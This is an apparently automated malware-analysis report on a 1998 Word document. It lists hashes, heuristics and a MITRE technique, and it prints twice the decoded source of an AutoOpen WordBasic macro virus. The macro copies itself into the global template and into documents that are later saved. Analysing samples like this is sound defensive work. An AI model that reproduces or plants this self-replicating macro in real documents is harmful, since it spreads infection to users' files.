Office (OLE) malware analysis — malicious · ad9fdf764fbcd644

MALICIOUS

Office (OLE)

31.0 KB Created: 1998-11-24 19:29:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14

MD5: b223b42e8db1fab029c989ce4957af0b SHA-1: a4afd23b8fbfa90ed5a3cae45510d45b3738d953 SHA-256: ad9fdf764fbcd644bc608c358b8989512cc5caa627002bf5435f315cf67355b6

80 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic

The sample is a legacy Word document containing a VBA macro with an AutoOpen subroutine. This macro is designed to copy itself to the global template, which is a common technique for establishing persistence or spreading malware. No external network activity or dropped files were detected in static analysis.

Heuristics 3

VBA macros detected medium 1 related finding OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 980 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	980 bytes
SHA-256: `c73a50078ca5eb349a2d9524668a6d0ac836d26618a239546a1034d268588f51`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}" Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "AutoOpen" Public Sub MAIN() Dim total Dim infected Dim cycle Dim name_$ WordBasic.DisableInput 1: On Error Resume Next: total = WordBasic.CountMacros(0): infected = 0 If total > 0 Then For cycle = 1 To total If WordBasic.[MacroName$](cycle, 0) = "AutoOpen" Then infected = 1 End If Next cycle End If name_$ = WordBasic.[WindowName$]() + ":AutoOpen" If infected <> 1 Then WordBasic.MacroCopy name_$, "Global:AutoOpen", 1 Else infected = 0 End If If WordBasic.CountMacros(1) <> 0 Then infected = 1 End If If infected = 0 Then WordBasic.FileSaveAs Format:=1 WordBasic.MacroCopy "Global:AutoOpen", name_$ End If End Sub

SHA-256: c73a50078ca5eb349a2d9524668a6d0ac836d26618a239546a1034d268588f51

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim total
Dim infected
Dim cycle
Dim name_$
WordBasic.DisableInput 1: On Error Resume Next: total = WordBasic.CountMacros(0): infected = 0
If total > 0 Then
    For cycle = 1 To total
    If WordBasic.[MacroName$](cycle, 0) = "AutoOpen" Then
        infected = 1
    End If
    Next cycle
End If
name_$ = WordBasic.[WindowName$]() + ":AutoOpen"
If infected <> 1 Then
    WordBasic.MacroCopy name_$, "Global:AutoOpen", 1
Else
    infected = 0
End If
If WordBasic.CountMacros(1) <> 0 Then
    infected = 1
End If
If infected = 0 Then
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "Global:AutoOpen", name_$
End If
End Sub

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